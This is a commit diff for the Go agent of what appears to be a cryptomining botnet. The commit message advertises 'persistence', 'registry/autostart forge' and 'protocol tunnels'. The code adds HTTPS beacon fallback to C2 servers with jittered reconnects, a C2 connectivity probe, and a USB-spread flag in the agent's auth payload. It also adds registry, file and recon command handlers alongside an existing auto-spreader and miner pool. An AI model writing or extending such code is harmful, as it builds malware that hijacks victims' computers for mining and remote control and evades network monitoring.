feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
@@ -6,6 +6,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
@@ -53,6 +54,11 @@ type AgentClient struct {
|
||||
// spreadOnce ensures AutoSpreader starts at most once — after the first
|
||||
// successful WS authentication confirms we are on an owned fleet.
|
||||
spreadOnce sync.Once
|
||||
|
||||
// beaconMode is true while commands/results use HTTPS beacon transport.
|
||||
beaconMode atomic.Bool
|
||||
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
|
||||
wsDownSince atomic.Value // stores time.Time
|
||||
}
|
||||
|
||||
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
@@ -67,6 +73,15 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
}
|
||||
|
||||
func (c *AgentClient) Run() error {
|
||||
if c.cfg.AgentKillAfterDays > 0 && !c.cfg.BuiltAt.IsZero() {
|
||||
age := time.Since(c.cfg.BuiltAt)
|
||||
limit := time.Duration(c.cfg.AgentKillAfterDays) * 24 * time.Hour
|
||||
if age >= limit {
|
||||
log.Printf("[agent] agent_kill_after_days (%d) reached — exiting", c.cfg.AgentKillAfterDays)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
threads := c.cfg.EffectiveThreads()
|
||||
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
|
||||
c.pool.Start()
|
||||
@@ -118,32 +133,76 @@ func (c *AgentClient) Run() error {
|
||||
serverURLs := buildServerURLList(c.cfg)
|
||||
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
|
||||
|
||||
urlIdx := 0
|
||||
backoff := 5 * time.Second
|
||||
const maxBackoff = 60 * time.Second
|
||||
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
log.Printf("[agent] connectivity_probe: c2_dns=%v c2_tcp=%v pool_dns=%v pool_tcp=%v",
|
||||
probe.C2DNSOK, probe.C2TCPOK, probe.PoolDNSOK, probe.PoolTCPOK)
|
||||
|
||||
urlIdx := 0
|
||||
backoff, maxBackoff := c.reconnectBackoff()
|
||||
for {
|
||||
target := serverURLs[urlIdx%len(serverURLs)]
|
||||
start := time.Now()
|
||||
// Restore C2 share handler before connecting (in case Stratum had it).
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) {
|
||||
log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target)
|
||||
if err := c.beaconOnce(target); err != nil {
|
||||
log.Printf("[agent] beacon failed on %s: %v", target, err)
|
||||
c.markWSDownSince()
|
||||
} else {
|
||||
c.sleepReconnect(c.beaconInterval())
|
||||
}
|
||||
}
|
||||
if err := c.connectLoop(target); err != nil {
|
||||
log.Printf("[agent] disconnected from %s: %v", target, err)
|
||||
c.markWSDownSince()
|
||||
}
|
||||
// Advance to next URL so the next reconnect tries a different server
|
||||
urlIdx++
|
||||
if time.Since(start) > 10*time.Second {
|
||||
// Long-lived connection succeeded — reset backoff on the next attempt
|
||||
backoff = 5 * time.Second
|
||||
backoff, maxBackoff = c.reconnectBackoff()
|
||||
}
|
||||
time.Sleep(backoff)
|
||||
backoff += 5 * time.Second
|
||||
c.sleepReconnect(backoff)
|
||||
backoff += c.reconnectBackoffStep()
|
||||
if backoff > maxBackoff {
|
||||
backoff = maxBackoff
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) reconnectBackoff() (time.Duration, time.Duration) {
|
||||
sec := c.cfg.BeaconIntervalSec
|
||||
if sec <= 0 {
|
||||
sec = 5
|
||||
}
|
||||
base := time.Duration(sec) * time.Second
|
||||
max := 60 * time.Second
|
||||
if base*12 > max {
|
||||
max = base * 12
|
||||
}
|
||||
return base, max
|
||||
}
|
||||
|
||||
func (c *AgentClient) reconnectBackoffStep() time.Duration {
|
||||
sec := c.cfg.BeaconIntervalSec
|
||||
if sec <= 0 {
|
||||
sec = 5
|
||||
}
|
||||
return time.Duration(sec) * time.Second
|
||||
}
|
||||
|
||||
func (c *AgentClient) sleepReconnect(d time.Duration) {
|
||||
jitter := c.cfg.BeaconJitterPct
|
||||
if jitter > 0 {
|
||||
if jitter > 100 {
|
||||
jitter = 100
|
||||
}
|
||||
factor := 1.0 + (rand.Float64()*2-1)*float64(jitter)/100.0
|
||||
d = time.Duration(float64(d) * factor)
|
||||
}
|
||||
time.Sleep(d)
|
||||
}
|
||||
|
||||
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
|
||||
func buildServerURLList(cfg config.RuntimeConfig) []string {
|
||||
seen := map[string]bool{}
|
||||
@@ -263,6 +322,8 @@ func (c *AgentClient) authenticate() error {
|
||||
Arch: runtime.GOARCH,
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
MacAddress: primaryMACAddress(),
|
||||
BuildID: c.cfg.BuildID,
|
||||
USBSpread: c.cfg.USBSpread,
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -287,7 +348,8 @@ func (c *AgentClient) authenticate() error {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.agentID = resp.AgentID
|
||||
log.Printf("[agent] authenticated as %s", c.agentID)
|
||||
c.clearWSDownSince()
|
||||
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
|
||||
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
||||
if installDir, err := c.cfg.InstallDirectory(); err == nil {
|
||||
_ = deploy.PersistAgentID(installDir, c.agentID)
|
||||
@@ -549,7 +611,15 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
}
|
||||
go c.performUpgrade(data)
|
||||
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
|
||||
case "bof_execute":
|
||||
c.sendCommandResult(action, false, "bof_execute is not implemented — in-memory BOF execution is disabled for safety")
|
||||
default:
|
||||
if c.handleRegistryCommand(action, path, data) {
|
||||
return
|
||||
}
|
||||
if c.handleFileCommand(action, path) {
|
||||
return
|
||||
}
|
||||
if c.handleReconCommand(action, command) {
|
||||
return
|
||||
}
|
||||
@@ -563,9 +633,56 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str
|
||||
"success": success,
|
||||
"message": message,
|
||||
})
|
||||
if c.beaconMode.Load() {
|
||||
c.postBeaconResult(payload)
|
||||
return
|
||||
}
|
||||
_ = c.write(Message{Type: "command_result", Payload: payload})
|
||||
}
|
||||
|
||||
func (c *AgentClient) wsDownSinceTime() time.Time {
|
||||
if v := c.wsDownSince.Load(); v != nil {
|
||||
if t, ok := v.(time.Time); ok {
|
||||
return t
|
||||
}
|
||||
}
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
func (c *AgentClient) markWSDownSince() {
|
||||
if !c.wsDownSinceTime().IsZero() {
|
||||
return
|
||||
}
|
||||
c.wsDownSince.Store(time.Now())
|
||||
}
|
||||
|
||||
func (c *AgentClient) clearWSDownSince() {
|
||||
c.wsDownSince.Store(time.Time{})
|
||||
}
|
||||
|
||||
func (c *AgentClient) collectStatsPayload() (StatsPayload, error) {
|
||||
hps := c.pool.HashesPerSecond()
|
||||
c.pool.ResetHashCounter()
|
||||
cpuPct, memPct := c.reporter.Usage()
|
||||
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
|
||||
cpuPct = sysCPU
|
||||
}
|
||||
c.mu.Lock()
|
||||
submitted := c.sharesSubmitted
|
||||
accepted := c.sharesAccepted
|
||||
c.mu.Unlock()
|
||||
return StatsPayload{
|
||||
Hashrate15s: hps,
|
||||
Hashrate1m: hps,
|
||||
Hashrate15m: hps,
|
||||
SharesSubmitted: submitted,
|
||||
SharesAccepted: accepted,
|
||||
CPUUsagePct: cpuPct,
|
||||
MemoryUsagePct: memPct,
|
||||
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) stopSelf() {
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
c.pool.Stop()
|
||||
|
||||
Reference in New Issue
Block a user